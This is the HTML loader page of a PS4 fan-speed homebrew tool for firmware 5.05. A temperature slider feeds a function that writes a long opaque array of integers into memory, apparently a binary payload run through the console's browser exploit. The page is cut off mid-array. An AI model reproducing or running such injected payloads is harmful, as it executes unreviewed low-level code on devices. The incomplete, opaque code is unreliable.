<html>
<head>
<title>PS4 Fan Speed Control v3.0 By Leeful for FW 5.05</title>
<link rel="stylesheet prefetch" href="Style_00.css"><link rel="stylesheet prefetch" href="Style_01.css" title="css1"><link rel="alternate stylesheet" href="Style_02.css" title="css2"><link rel="alternate stylesheet" href="Style_03.css" title="css3">
<script src="StyleSwitch.js"></script><script>parent.Hide();</script>
<style>.choice {width:970px;height:240px;position:absolute;left:0;right:0;top:0;bottom:0;margin:auto;max-width:100%;max-height:100%;overflow:hidden;}.TxT1 {margin-top: 1.5em;font-family:monospace;letter-spacing:2px;font-size:18px;position:relative;padding:2px 0 5px 0;}.TxT2 {letter-spacing:0px;position:relative;padding:8px 0 0 6px;font-size:17px;}.TxT3 {position:relative;font-size:16px;letter-spacing:2px;}.slider {background-image: linear-gradient(to right,red,orange,orange,yellow,green,green,yellow);width:865px;height:15px;cursor:pointer;border:2px solid #b6b8c1;border-radius:15px;-webkit-appearance:none;z-index:120;}.slider::-webkit-slider-thumb {background:#434b63;width:25px;height:38px;cursor:pointer;border:3px solid black;border-radius:20%;-webkit-appearance:none;z-index:130;}</style>
</head>
<body><br>
<div id=Title></div>
<div id=loader class=loader><div class=ib2>Fan 控制</div><div class=ib2>&nbsp;正在加载</div><div class=loaderO></div><div class=ib2>...</div></div>
<div id=choice class=choice style=display:none><div class=TxT1>请选择风扇加速温度值:<span id="tempz"></span>°C</div><input type="range" min="40" max="79" value="69" class="slider" id="tmpRange" onmouseup="setTEMP();"><div class=TxT2>40°----------------------------50°----------------------------60°----------------------------70°-------------------------79°</div><div class=TxT3><br><br> <br> </div></div>
<div id=done class=info style=display:none>温 度 &nbsp; 已 设 定<br><div class=ib>按&nbsp;</div><div id=PSBUTTON></div><div class=ib>&nbsp;退 &nbsp;出</div></div>
<div id=fail class=info style=display:none>运行失败 !</div>
<script>
function showCHOICE(){document.getElementById("loader").style.display="none";document.getElementById("choice").style.display="block";}
var slider = document.getElementById("tmpRange");var output = document.getElementById("tempz");output.innerHTML = slider.value; slider.oninput = function() {output.innerHTML = this.value;}; function setTEMP(){var tempVAL = ("0x8f07be"+((slider.value) >>> 0).toString(16));EnterTemp(tempVAL);}
function writePL(d,a,t){d(a.add32(0),39913);d(a.add32(4),254699008);d(a.add32(8),33823);d(a.add32(12),2415919104);d(a.add32(16),138906440);d(a.add32(20),33465);d(a.add32(24),1888176320);d(a.add32(28),1082870848);d(a.add32(32),1211240264);d(a.add32(36),2336805257);d(a.add32(40),71830);d(a.add32(44),3787540480);d(a.add32(48),3356051488);d(a.add32(52),280263);d(a.add32(56),1207959552);d(a.add32(60),114733);d(a.add32(64),138856192);d(a.add32(68),0);d(a.add32(72),1328839);d(a.add32(76),3338665984);d(a.add32(80),2);d(a.add32(84),2425047040);d(a.add32(88),17401504);d(a.add32(92),810977608);d(a.add32(96),4290955080);d(a.add32(100),1224736767);d(a.add32(104),443580555);d(a.add32(108),2303263276);d(a.add32(112),2303270976);d(a.add32(116),2336757824);d(a.add32(120),77959);d(a.add32(124),331302912);d(a.add32(128),0);d(a.add32(132),1211629824);d(a.add32(136),1214271625);d(a.add32(140),1213757577);d(a.add32(144),828919945);d(a.add32(148),778486720);d(a.add32(152),8658703);d(a.add32(156),0);d(a.add32(160),1387808851);d(a.add32(164),153493512);d(a.add32(168),1207959552);d(a.add32(172),4279299203);d(a.add32(176),2830649552);d(a.add32(180),153493506);d(a.add32(184),4278190080);d(a.add32(188),1224094160);d(a.add32(192),536875199);d(a.add32(196),2342);d(a.add32(200),1186482176);d(a.add32(204),153493512);d(a.add32(208),4278190080);d(a.add32(212),2025343184);d(a.add32(216),153493506);d(a.add32(220),4278190080);d(a.add32(224),835858896);d(a.add32(228),549406966);d(a.add32(232),153493516);d(a.add32(236),1207959552);d(a.add32(240),536974776);d(a.add32(244),2342);d(a.add32(248),2245066496);d(a.add32(252),2126744000);d(a.add32(256),3366013023);d(a.add32(260),153493520);d(a.add32(264),1207959552);d(a.add32(268),537674430);d(a.add32(272),2342);d(a.add32(276),14597888);d(a.add32(280),3506372608);d(a.add32(284),604292936);d(a.add32(288),0);d(a.add32(292),2313324872);d(a.add32(296),1153918687);d(a.add32(300),2084);d(a.add32(304),86262982);d(a.add32(308),t);d(a.add32(312),3091775516);d(a.add32(316),639633466);d(a.add32(320),9);d(a.add32(324),3750351103);d(a.add32(328),27375688);d(a.add32(332),599584);d(a.add32(336),3506372608);d(a.add32(340),281314120);d(a.add32(344),3277570097);d(a.add32(348),4202255);d(a.add32(352),281583944);d(a.add32(356),599584);d(a.add32(360),3192389632);d(a.add32(364),639634477);d(a.add32(368),9);d(a.add32(372),57023);d(a.add32(376),3956342528);d(a.add32(380),3234285727);d(a.add32(384),3);d(a.add32(388),683241);d(a.add32(392),3234285568);d(a.add32(396),4);d(a.add32(400),680169);d(a.add32(404),3234285568);d(a.add32(408),5);d(a.add32(412),677097);d(a.add32(416),3234285568);d(a.add32(420),6);d(a.add32(424),674025);d(a.add32(428),3234285568);d(a.add32(432),10);d(a.add32(436),670953);d(a.add32(440),3234285568);d(a.add32(444),58);d(a.add32(448),667881);d(a.add32(452),3234285568);d(a.add32(456),21);d(a.add32(460),664809);d(a.add32(464),3234285568);d(a.add32(468),378);d(a.add32(472),661737);d(a.add32(476),3234285568);d(a.add32(480),22);d(a.add32(484),658665);d(a.add32(488),3234285568);d(a.add32(492),123);d(a.add32(496),655593);d(a.add32(500),3234285568);d(a.add32(504),124);d(a.add32(508),652521);d(a.add32(512),3234285568);d(a.add32(516),128);d(a.add32(520),649449);d(a.add32(524),3234285568);d(a.add32(528),136);d(a.add32(532),646377);d(a.add32(536),3234285568);d(a.add32(540),137);d(a.add32(544),643305);d(a.add32(548),3234285568);d(a.add32(552),188);d(a.add32(556),640233);d(a.add32(560),3234285568);d(a.add32(564),189);d(a.add32(568),637161);d(a.add32(572),3234285568);d(a.add32(576),272);d(a.add32(580),634089);d(a.add32(584),3234285568);d(a.add32(588),478);d(a.add32(592),631017);d(a.add32(596),3234285568);d(a.add32(600),493);d(a.add32(604),627945);d(a.add32(608),4203300864);d(a.add32(612),1358006600);d(a.add32(616),1522529841);d(a.add32(620),822083586);d(a.add32(624),159180992);d(a.add32(628),3277455360);d(a.add32(632),827377969);d(a.add32(636),1224094162);d(a.add32(640),164248973);d(a.add32(644),826605568);d(a.add32(648),3224454601);d(a.add32(652),281417215);d(a.add32(656),1213792256);d(a.add32(660),237901197);d(a.add32(664),2370306048);d(a.add32(668),644405);d(a.add32(672),3922168064);d(a.add32(676),1268);d(a.add32(680),3375449427);d(a.add32(684),834679109);d(a.add32(688),835858889);d(a.add32(692),1032669430);d(a.add32(696),2531);d(a.add32(700),278271487);d(a.add32(704),2370306048);d(a.add32(708),933653);d(a.add32(712),898451456);d(a.add32(716),2535);d(a.add32(720),3347694473);d(a.add32(724),312296);d(a.add32(728),1222609152);d(a.add32(732),264115597);d(a.add32(736),2370306048);d(a.add32(740),644405);d(a.add32(744),78571520);d(a.add32(748),3750297600);d(a.add32(752),957713736);d(a.add32(756),1207959566);d(a.add32(760),163919245);d(a.add32(764),2582118400);d(a.add32(768),2298478596);d(a.add32(772),361580767);d(a.add32(776),3732);d(a.add32(780),3073740104);d(a.add32(784),3892314121);d(a.add32(788),1156);d(a.add32(792),2370363273);d(a.add32(796),990997);d(a.add32(800),898451456);d(a.add32(804),2474);d(a.add32(808),290792);d(a.add32(812),1222609152);d(a.add32(816),248124813);d(a.add32(820),2370306048);d(a.add32(824),630325);d(a.add32(828),73066496);d(a.add32(832),3750297600);d(a.add32(836),2769653064);d(a.add32(840),1207959565);d(a.add32(844),160445837);d(a.add32(848),1172832256);d(a.add32(852),2298478596);d(a.add32(856),361580767);d(a.add32(860),3664);d(a.add32(864),2184547656);d(a.add32(868),3892314121);d(a.add32(872),1072);d(a.add32(876),2370363273);d(a.add32(880),875285);d(a.add32(884),898451456);d(a.add32(888),2420);d(a.add32(892),269288);d(a.add32(896),1222609152);d(a.add32(900),235804045);d(a.add32(904),2370306048);d(a.add32(908),615989);d(a.add32(912),67561472);d(a.add32(916),3750297600);d(a.add32(920),3105197384);d(a.add32(924),1207959565);d(a.add32(928),156841357);d(a.add32(932),4058513408);d(a.add32(936),2298478595);d(a.add32(940),361580767);d(a.add32(944),3596);d(a.add32(948),1261800776);d(a.add32(952),3892314121);d(a.add32(956),988);d(a.add32(960),2370363273);d(a.add32(964),964373);d(a.add32(968),898451456);d(a.add32(972),2366);d(a.add32(976),247784);d(a.add32(980),1222609152);d(a.add32(984),240260493);d(a.add32(988),2370306048);d(a.add32(992),602165);d(a.add32(996),62056448);d(a.add32(1000),3750297600);d(a.add32(1004),2635435336);d(a.add32(1008),1207959565);d(a.add32(1012),153236877);d(a.add32(1016),2649227264);d(a.add32(1020),2298478595);d(a.add32(1024),361580767);d(a.add32(1028),3648);d(a.add32(1032),355831112);d(a.add32(1036),3892314121);d(a.add32(1040),904);d(a.add32(1044),2370363273);d(a.add32(1048),838421);d(a.add32(1052),898451456);d(a.add32(1056),2312);d(a.add32(1060),226280);d(a.add32(1064),1222609152);d(a.add32(1068),226891149);d(a.add32(1072),2370306048);d(a.add32(1076),588853);d(a.add32(1080),56551424);d(a.add32(1084),3750297600);d(a.add32(1088),1091931464);d(a.add32(1092),1207959566);d(a.add32(1096),149829005);d(a.add32(1100),1239941120);d(a.add32(1104),2298478595);d(a.add32(1108),361580767);d(a.add32(1112),3276);d(a.add32(1116),3761605960);d(a.add32(1120),3892314120);d(a.add32(1124),820);d(a.add32(1128),2370363273);d(a.add32(1132),851733);d(a.add32(1136),898451456);d(a.add32(1140),2259);d(a.add32(1144),204776);d(a.add32(1148),1222609152);d(a.add32(1152),223483277);d(a.add32(1156),2370306048);d(a.add32(1160),574773);d(a.add32(1164),51046400);d(a.add32(1168),3750297600);d(a.add32(1172),1159040328);d(a.add32(1176),1207959565);d(a.add32(1180),146290061);d(a.add32(1184),4125622272);d(a.add32(1188),2298478594);d(a.add32(1192),361580767);d(a.add32(1196),3208);d(a.add32(1200),2721418568);d(a.add32(1204),3892314120);d(a.add32(1208),736);d(a.add32(1212),2370363273);d(a.add32(1216),891669);d(a.add32(1220),898451456);d(a.add32(1224),2196);d(a.add32(1228),183272);d(a.add32(1232),1222609152);d(a.add32(1236),227939725);d(a.add32(1240),2370306048);d(a.add32(1244),558901);d(a.add32(1248),45541376);d(a.add32(1252),3750297600);d(a.add32(1256),2568326472);d(a.add32(1260),1207959564);d(a.add32(1264),142030221);d(a.add32(1268),2716336128);d(a.add32(1272),2298478594);d(a.add32(1276),361580767);d(a.add32(1280),3036);d(a.add32(1284),1781894472);d(a.add32(1288),3892314120);d(a.add32(1292),652);d(a.add32(1296),2370363273);d(a.add32(1300),796437);d(a.add32(1304),898451456);d(a.add32(1308),2142);d(a.add32(1312),161768);d(a.add32(1316),1222609152);d(a.add32(1320),211948941);d(a.add32(1324),2370306048);d(a.add32(1328),545845);d(a.add32(1332),40036352);d(a.add32(1336),3750297600);d(a.add32(1340),1695911240);d(a.add32(1344),1207959564);d(a.add32(1348),138818957);d(a.add32(1352),1307049984);d(a.add32(1356),2298478594);d(a.add32(1360),361580767);d(a.add32(1364),3256);d(a.add32(1368),926256456);d(a.add32(1372),3892314120);d(a.add32(1376),568);d(a.add32(1380),2370363273);d(a.add32(1384),789269);d(a.add32(1388),898451456);d(a.add32(1392),2083);d(a.add32(1396),140264);d(a.add32(1400),1222609152);d(a.add32(1404),190190989);d(a.add32(1408),2370306048);d(a.add32(1412),529205);d(a.add32(1416),34531328);d(a.add32(1420),3750297600);d(a.add32(1424),1494584648);d(a.add32(1428),1207959564);d(a.add32(1432),134624653);d(a.add32(1436),4192731136);d(a.add32(1440),2298478593);d(a.add32(1444),361580767);d(a.add32(1448),2980);d(a.add32(1452),3946155336);d(a.add32(1456),3892314119);d(a.add32(1460),484);d(a.add32(1464),2370363273);d(a.add32(1468),823061);d(a.add32(1472),898451456);d(a.add32(1476),2014);d(a.add32(1480),118760);d(a.add32(1484),1222609152);d(a.add32(1488),206181773);d(a.add32(1492),2370306048);d(a.add32(1496),508469);d(a.add32(1500),29026304);d(a.add32(1504),3750297600);d(a.add32(1508),2366999880);d(a.add32(1512),1207959564);d(a.add32(1516),129774989);d(a.add32(1520),2783444992);d(a.add32(1524),2298478593);d(a.add32(1528),361580767);d(a.add32(1532),3128);d(a.add32(1536),2922745160);d(a.add32(1540),3892314119);d(a.add32(1544),400);d(a.add32(1548),2370363273);d(a.add32(1552),779029);d(a.add32(1556),898451456);d(a.add32(1560),1954);d(a.add32(1564),97256);d(a.add32(1568),1222609152);d(a.add32(1572),204346765);d(a.add32(1576),2370306048);d(a.add32(1580),497461);d(a.add32(1584),23521280);d(a.add32(1588),3750297600);d(a.add32(1592),689278280);d(a.add32(1596),1207959563);d(a.add32(1600),126760333);d(a.add32(1604),1374158848);d(a.add32(1608),2298478593);d(a.add32(1612),361580767);d(a.add32(1616),3028);d(a.add32(1620),2150993224);d(a.add32(1624),3892314119);d(a.add32(1628),316);d(a.add32(1632),2370363273);d(a.add32(1636),702229);d(a.add32(1640),898451456);d(a.add32(1644),1907);d(a.add32(1648),75752);d(a.add32(1652),1222609152);d(a.add32(1656),177345933);d(a.add32(1660),2370306048);d(a.add32(1664),484917);d(a.add32(1668),18016256);d(a.add32(1672),3750297600);d(a.add32(1676),85298504);d(a.add32(1680),1207959564);d(a.add32(1684),123417997);d(a.add32(1688),4259840000);d(a.add32(1692),2298478592);d(a.add32(1696),361580767);d(a.add32(1700),2640);d(a.add32(1704),1312132424);d(a.add32(1708),3892314119);d(a.add32(1712),232);d(a.add32(1716),2370363273);d(a.add32(1720),672533);d(a.add32(1724),898451456);d(a.add32(1728),1857);d(a.add32(1732),54248);d(a.add32(1736),1222609152);d(a.add32(1740),197006733);d(a.add32(1744),2370306048);d(a.add32(1748),472629);d(a.add32(1752),12511232);d(a.add32(1756),3750297600);d(a.add32(1760),2568326472);d(a.add32(1764),1207959562);d(a.add32(1768),120206733);d(a.add32(1772),2850553856);d(a.add32(1776),2298478592);d(a.add32(1780),361580767);d(a.add32(1784),2588);d(a.add32(1788),456494408);d(a.add32(1792),3892314119);d(a.add32(1796),148);d(a.add32(1800),2370363273);d(a.add32(1804),710421);d(a.add32(1808),898451456);d(a.add32(1812),1810);d(a.add32(1816),32744);d(a.add32(1820),1222609152);d(a.add32(1824),178394509);d(a.add32(1828),2370306048);d(a.add32(1832),459573);d(a.add32(1836),7006208);d(a.add32(1840),3750297600);d(a.add32(1844),756387144);d(a.add32(1848),1207959563);d(a.add32(1852),116667789);d(a.add32(1856),1441267712);d(a.add32(1860),2298478592);d(a.add32(1864),361580767);d(a.add32(1868),2576);d(a.add32(1872),3862269256);d(a.add32(1876),3892314118);d(a.add32(1880),64);d(a.add32(1884),2370363273);d(a.add32(1888),697109);d(a.add32(1892),898451456);d(a.add32(1896),1751);d(a.add32(1900),11240);d(a.add32(1904),1222609152);d(a.add32(1908),178132365);d(a.add32(1912),2370306048);d(a.add32(1916),444469);d(a.add32(1920),1501184);d(a.add32(1924),3750297600);d(a.add32(1928),361580635);d(a.add32(1932),2488);d(a.add32(1936),3107294536);d(a.add32(1940),3909091334);d(a.add32(1944),0);d(a.add32(1948),1338033992);d(a.add32(1952),3909091330);d(a.add32(1956),1101);d(a.add32(1960),1354811208);d(a.add32(1964),3909091330);d(a.add32(1968),1089);d(a.add32(1972),113723472);d(a.add32(1976),352);d(a.add32(1980),837978440);d(a.add32(1984),3221129664);d(a.add32(1988),593);d(a.add32(1992),271848);d(a.add32(1996),1220762112);d(a.add32(2000),827388297);d(a.add32(2004),4270409938);d(a.add32(2008),3217043781);d(a.add32(2012),594);d(a.add32(2016),199802929);d(a.add32(2020),1509949444);d(a.add32(2024),1358858691);d(a.add32(2028),3375485489);d(a.add32(2032),152511);d(a.add32(2036),3904909568);d(a.add32(2040),1014);d(a.add32(2044),3375481690);d(a.add32(2048),835858768);d(a.add32(2052),1032669430);d(a.add32(2056),1612);d(a.add32(2060),1170813253);d(a.add32(2064),369082417);d(a.add32(2068),2880);d(a.add32(2072),361580633);d(a.add32(2076),2696);d(a.add32(2080),1177914696);d(a.add32(2084),2298478598);d(a.add32(2088),4285458887);d(a.add32(2092),3343450111);d(a.add32(2096),9664);d(a.add32(2100),62646528);d(a.add32(2104),3343384576);d(a.add32(2108),14016);d(a.add32(2112),61860096);d(a.add32(2116),3343384576);d(a.add32(2120),3008);d(a.add32(2124),61073664);d(a.add32(2128),2370306048);d(a.add32(2132),681781);d(a.add32(2136),2370327040);d(a.add32(2140),402237);d(a.add32(2144),96946176);d(a.add32(2148),2764);d(a.add32(2152),0);d(a.add32(2156),4294926056);d(a.add32(2160),1958774271);d(a.add32(2164),898451498);d(a.add32(2168),2628);d(a.add32(2172),272469320);d(a.add32(2176),3892314118);d(a.add32(2180),4294967111);d(a.add32(2184),326418565);d(a.add32(2188),758484296);d(a.add32(2192),1207959562);d(a.add32(2196),101465485);d(a.add32(2200),820510720);d(a.add32(2204),2348810239);d(a.add32(2208),662333);d(a.add32(2212),361580544);d(a.add32(2216),2588);d(a.add32(2220),104172872);d(a.add32(2224),3892314118);d(a.add32(2228),4294967012);d(a.add32(2232),167918987);d(a.add32(2236),2370306048);d(a.add32(2240),670485);d(a.add32(2244),898451456);d(a.add32(2248),1535);d(a.add32(2252),4294888424);d(a.add32(2256),3913124863);d(a.add32(2260),1207959561);d(a.add32(2264),173675917);d(a.add32(2268),2370306048);d(a.add32(2272),390965);d(a.add32(2276),4273137664);d(a.add32(2280),1032585215);d(a.add32(2284),2512);d(a.add32(2288),555060552);d(a.add32(2292),1207959562);d(a.add32(2296),98973069);d(a.add32(2300),2582118400);d(a.add32(2304),2348810238);d(a.add32(2308),636733);d(a.add32(2312),361580544);d(a.add32(2316),2632);d(a.add32(2320),3694497096);d(a.add32(2324),3892314117);d(a.add32(2328),4294966912);d(a.add32(2332),161365387);d(a.add32(2336),2370306048);d(a.add32(2340),677653);d(a.add32(2344),898451456);d(a.add32(2348),1500);d(a.add32(2352),4294862824);d(a.add32(2356),2235403263);d(a.add32(2360),1207959561);d(a.add32(2364),163976589);d(a.add32(2368),2370306048);d(a.add32(2372),385333);d(a.add32(2376),4266584064);d(a.add32(2380),1032585215);d(a.add32(2384),2412);d(a.add32(2388),4111830344);d(a.add32(2392),1207959561);d(a.add32(2396),98645389);d(a.add32(2400),904396800);d(a.add32(2404),2348810238);d(a.add32(2408),611133);d(a.add32(2412),361580544);d(a.add32(2416),2612);d(a.add32(2420),3593833800);d(a.add32(2424),3892314117);d(a.add32(2428),4294966812);d(a.add32(2432),154811787);d(a.add32(2436),2370306048);d(a.add32(2440),629525);d(a.add32(2444),898451456);d(a.add32(2448),1483);d(a.add32(2452),4294837224);d(a.add32(2456),557681663);d(a.add32(2460),1207959561);d(a.add32(2464),161617293);d(a.add32(2468),2370306048);d(a.add32(2472),376885);d(a.add32(2476),4260030464);d(a.add32(2480),1032585215);d(a.add32(2484),2312);d(a.add32(2488),2702544200);d(a.add32(2492),1207959561);d(a.add32(2496),95827341);d(a.add32(2500),3521642496);d(a.add32(2504),2348810237);d(a.add32(2508),585533);d(a.add32(2512),361580544);d(a.add32(2516),2312);d(a.add32(2520),2889190728);d(a.add32(2524),3892314117);d(a.add32(2528),4294966712);d(a.add32(2532),148258187);d(a.add32(2536),2370306048);d(a.add32(2540),628501);d(a.add32(2544),898451456);d(a.add32(2548),1442);d(a.add32(2552),4294811624);d(a.add32(2556),3174927359);d(a.add32(2560),1207959560);d(a.add32(2564),145102221);d(a.add32(2568),2370306048);d(a.add32(2572),366901);d(a.add32(2576),4253476864);d(a.add32(2580),1032585215);d(a.add32(2584),2212);d(a.add32(2588),1293258056);d(a.add32(2592),1207959561);d(a.add32(2596),93730189);d(a.add32(2600),1843920896);d(a.add32(2604),2348810237);d(a.add32(2608),559933);d(a.add32(2612),361580544);d(a.add32(2616),2220);d(a.add32(2620),2503314760);d(a.add32(2624),3892314117);d(a.add32(2628),4294966612);d(a.add32(2632),141704587);d(a.add32(2636),2370306048);d(a.add32(2640),576277);d(a.add32(2644),898451456);d(a.add32(2648),1427);d(a.add32(2652),4294786024);d(a.add32(2656),1497205759);d(a.add32(2660),1207959560);d(a.add32(2664),156374413);d(a.add32(2668),2370306048);d(a.add32(2672),360757);d(a.add32(2676),4246923264);d(a.add32(2680),1032585215);d(a.add32(2684),2112);d(a.add32(2688),2299891016);d(a.add32(2692),1207959560);d(a.add32(2696),91567501);d(a.add32(2700),166199296);d(a.add32(2704),2348810237);d(a.add32(2708),534333);d(a.add32(2712),361580544);d(a.add32(2716),2096);d(a.add32(2720),1681231176);d(a.add32(2724),3892314117);d(a.add32(2728),4294966512);d(a.add32(2732),135150987);d(a.add32(2736),2370306048);d(a.add32(2740),581397);d(a.add32(2744),898451456);d(a.add32(2748),1362);d(a.add32(2752),4294760424);d(a.add32(2756),4114451455);d(a.add32(2760),1207959559);d(a.add32(2764),144053645);d(a.add32(2768),2370306048);d(a.add32(2772),345653);d(a.add32(2776),4240369664);d(a.add32(2780),1032585215);d(a.add32(2784),2012);d(a.add32(2788),3038088520);d(a.add32(2792),1207959560);d(a.add32(2796),88356237);d(a.add32(2800),2783444992);d(a.add32(2804),2348810236);d(a.add32(2808),508733);d(a.add32(2812),361580544);d(a.add32(2816),2028);d(a.add32(2820),1094028616);d(a.add32(2824),3892314117);d(a.add32(2828),4294966412);d(a.add32(2832),128597387);d(a.add32(2836),2370306048);d(a.add32(2840),553749);d(a.add32(2844),898451456);d(a.add32(2848),1342);d(a.add32(2852),4294734824);d(a.add32(2856),2436729855);d(a.add32(2860),1207959559);d(a.add32(2864),142742925);d(a.add32(2868),2370306048);d(a.add32(2872),342837);d(a.add32(2876),4233816064);d(a.add32(2880),1032585215);d(a.add32(2884),1912);d(a.add32(2888),2836761928);d(a.add32(2892),1207959559);d(a.add32(2896),87569805);d(a.add32(2900),1105723392);d(a.add32(2904),2348810236);d(a.add32(2908),483133);d(a.add32(2912),361580544);d(a.add32(2916),1872);d(a.add32(2920),641043784);d(a.add32(2924),3892314117);d(a.add32(2928),4294966312);d(a.add32(2932),122043787);d(a.add32(2936),2370306048);d(a.add32(2940),481045);d(a.add32(2944),898451456);d(a.add32(2948),1300);d(a.add32(2952),4294709224);d(a.add32(2956),759008255);d(a.add32(2960),1207959559);d(a.add32(2964),135665037);d(a.add32(2968),2370306048);d(a.add32(2972),328245);d(a.add32(2976),4227262464);d(a.add32(2980),1032585215);d(a.add32(2984),1812);d(a.add32(2988),2366999880);d(a.add32(2992),1207959559);d(a.add32(2996),82851213);d(a.add32(3000),3722969088);d(a.add32(3004),2348810235);d(a.add32(3008),457533);d(a.add32(3012),361580544);d(a.add32(3016),1964);d(a.add32(3020),3728051528);d(a.add32(3024),3892314116);d(a.add32(3028),4294966212);d(a.add32(3032),115490187);d(a.add32(3036),2370306048);d(a.add32(3040),477973);d(a.add32(3044),2370328576);d(a.add32(3048),314677);d(a.add32(3052),4222281984);d(a.add32(3056),826867711);d(a.add32(3060),3397994944);d(a.add32(3064),24249615);d(a.add32(3068),1032014019);d(a.add32(3072),1843);d(a.add32(3076),1343779840);d(a.add32(3080),120198655);d(a.add32(3084),2304311296);d(a.add32(3088),3234285576);d(a.add32(3092),4294967295);d(a.add32(3096),4290955080);d(a.add32(3100),3288334335);d(a.add32(3104),1986356271);d(a.add32(3108),1667459375);d(a.add32(3112),1851876959);d(a.add32(3116),1667459328);d(a.add32(3120),1851876959);d(a.add32(3124),1851876128);d(a.add32(3128),1864397863);d(a.add32(3132),175007088);d(a.add32(3136),2683305994);d(a.add32(3140),1700045196);d(a.add32(3144),1394634861);d(a.add32(3148),2192485);d(a.add32(3152),1937339183);d(a.add32(3156),795698548);d(a.add32(3160),1835888483);d(a.add32(3164),1815047791);d(a.add32(3168),1815044713);d(a.add32(3172),1666409065);d(a.add32(3176),1937331045);d(a.add32(3180),1818850389);d(a.add32(3184),1919972142);d(a.add32(3188),1668481144);d(a.add32(3192),1937331045);d(a.add32(3196),1818850389);d(a.add32(3200),1684956499);d(a.add32(3204),1953724755);d(a.add32(3208),1867410789);d(a.add32(3212),1768319348);d(a.add32(3216),1769234787);d(a.add32(3220),1767337583);d(a.add32(3224),1700030580);d(a.add32(3228),1811969144);d(a.add32(3232),1666409065);d(a.add32(3236),1651068005);d(a.add32(3240),1953384803);d(a.add32(3244),1634628197);d(a.add32(3248),1886596716);d(a.add32(3252),1828747378);d(a.add32(3256),1869376609);d(a.add32(3260),1919287395);d(a.add32(3264),1660970341);d(a.add32(3268),1869376609);d(a.add32(3272),1701970019);d(a.add32(3276),1869376609);d(a.add32(3280),1701642339);d(a.add32(3284),1768710509);d(a.add32(3288),1828744807);d(a.add32(3292),1702063461);d(a.add32(3296),1701642356);d(a.add32(3300),2037408621);d(a.add32(3304),1835363584);d(a.add32(3308),7368035);d(a.add32(3312),1668445299);d(a.add32(3316),1929410928);d(a.add32(3320),1668182644);d(a.add32(3324),1929410928);d(a.add32(3328),1633907316);d(a.add32(3332),1953693812);d(a.add32(3336),1633906290);d(a.add32(3340),1953693812);d(a.add32(3344),1852140658);d(a.add32(3348),1920234240);d(a.add32(3352),7368035);d(a.add32(3356),1852994675);d(a.add32(3360),7368035);d(a.add32(3364),1769107571);d(a.add32(3368),6714478);d(a.add32(3372),1919970931);d(a.add32(3376),1718906473);d(a.add32(3380),1668510464);d(a.add32(3384),6712929);d(a.add32(3388),1668445299);d(a.add32(3392),1929409128);d(a.add32(3396),1668444788);d(a.add32(3400),1929409128);d(a.add32(3404),1953722996);d(a.add32(3408),1953693810);d(a.add32(3412),1886741618);d(a.add32(3416),1852404224);d(a.add32(3420),7890276);d(a.add32(3424),1768190825);d(a.add32(3428),7629159);d(a.add32(3432),1768911969);d(a.add32(3436),1920234240);d(a.add32(3440),2037408620);d(a.add32(3444),1920234240);d(a.add32(3448),1869771365);d(a.add32(3452),1197408370);d(a.add32(3456),1668314213);d(a.add32(3460),1701869940);d(a.add32(3464),1951620864);d(a.add32(3468),7107951);d(a.add32(3472),1886348130);d(a.add32(3476),1920139385);d(a.add32(3480),6581857);d(a.add32(3484),1952674657);d(a.add32(3488),6647145);d(a.add32(3492),1952674657);d(a.add32(3496),1600482665);d(a.add32(3500),1835466866);d(a.add32(3504),1701669236);d(a.add32(3508),1953326848);d(a.add32(3512),1600482665);d(a.add32(3516),1869348979);d(a.add32(3520),1953259875);d(a.add32(3524),6647145);d(a.add32(3528),1633906540);d(a.add32(3532),1835627628);d(a.add32(3536),7495525);d(a.add32(3540),1769237357);d(a.add32(3544),1862296941);d(a.add32(3548),1684956528);d(a.add32(3552),1912631913);d(a.add32(3556),1684300133);d(a.add32(3560),1912631913);d(a.add32(3564),1684300133);d(a.add32(3568),1918857833);d(a.add32(3572),1818588160);d(a.add32(3576),1919509612);d(a.add32(3580),1701147392);d(a.add32(3584),1919509611);d(a.add32(3588),2003137024);d(a.add32(3592),1684303465);d(a.add32(3596),1660973673);d(a.add32(3600),1702063980);d(a.add32(3604),7498084);d(a.add32(3608),1718774116);d(a.add32(3612),1701249124);d(a.add32(3616),1869770868);d(a.add32(3620),1835101799);d(a.add32(3624),1868955749);d(a.add32(3628),7234928);d(a.add32(3632),1634038374);d(a.add32(3636),2003173476);d(a.add32(3640),1702127986);d(a.add32(3644),1702061568);d(a.add32(3648),1711303525);d(a.add32(3652),1819043188);d(a.add32(3656),1818453504);d(a.add32(3660),6648687);d(a.add32(3664),1769107558);d(a.add32(3668),6714478);d(a.add32(3672),1398958444);d(a.add32(3676),2035508579);d(a.add32(3680),1685024115);d(a.add32(3684),778398837);d(a.add32(3688),2020765811);d(a.add32(3692),1701016320);d(a.add32(3696),1836284243);d(a.add32(3700),1819632751);d(a.add32(3704),1634684005);d(a.add32(3708),1685015908);d(a.add32(3712),6646901);d(a.add32(3716),1801611628);d(a.add32(3720),1701737061);d(a.add32(3724),1886596716);d(a.add32(3728),1811970162);d(a.add32(3732),1701536361);d(a.add32(3736),1818586738);d(a.add32(3740),1650816863);d(a.add32(3744),1919972142);d(a.add32(3748),1768685688);d(a.add32(3752),1919249250);d(a.add32(3756),1600939374);d(a.add32(3760),779319667);d(a.add32(3764),2020765811);d(a.add32(3768),1935630080);d(a.add32(3772),1801675124);d(a.add32(3776),1802003295);d(a.add32(3780),1635084127);d(a.add32(3784),1593861234);d(a.add32(3788),1635021663);d(a.add32(3792),1667197795);d(a.add32(3796),1717529448);d(a.add32(3800),7104865);d(a.add32(3804),1919246175);d(a.add32(3808),7499634);d(a.add32(3812),1264935795);d(a.add32(3816),1701737061);d(a.add32(3820),1920091500);d(a.add32(3824),1929409135);d(a.add32(3828),1699439971);d(a.add32(3832),1818586738);d(a.add32(3836),1684107084);d(a.add32(3840),1918989395);d(a.add32(3844),1685015924);d(a.add32(3848),6646901);d(a.add32(3852),1264935795);d(a.add32(3856),1701737061);d(a.add32(3860),1819033964);d(a.add32(3864),1952539503);d(a.add32(3868),1919501413);d(a.add32(3872),1299473253);d(a.add32(3876),1919905125);d(a.add32(3880),1668481145);d(a.add32(3884),1919241061);d(a.add32(3888),1298949486);d(a.add32(3892),1766092897);d(a.add32(3896),1952671090);d(a.add32(3900),1869440333);d(a.add32(3904),1929410930);d(a.add32(3908),1699439971);d(a.add32(3912),1818586738);d(a.add32(3916),1952543827);d(a.add32(3920),1701016320);d(a.add32(3924),1852990795);d(a.add32(3928),1884253285);d(a.add32(3932),1929408101);d(a.add32(3936),1699439971);d(a.add32(3940),1818586738);d(a.add32(3944),1684104530);d(a.add32(3948),1701016320);d(a.add32(3952),1852990795);d(a.add32(3956),1934388325)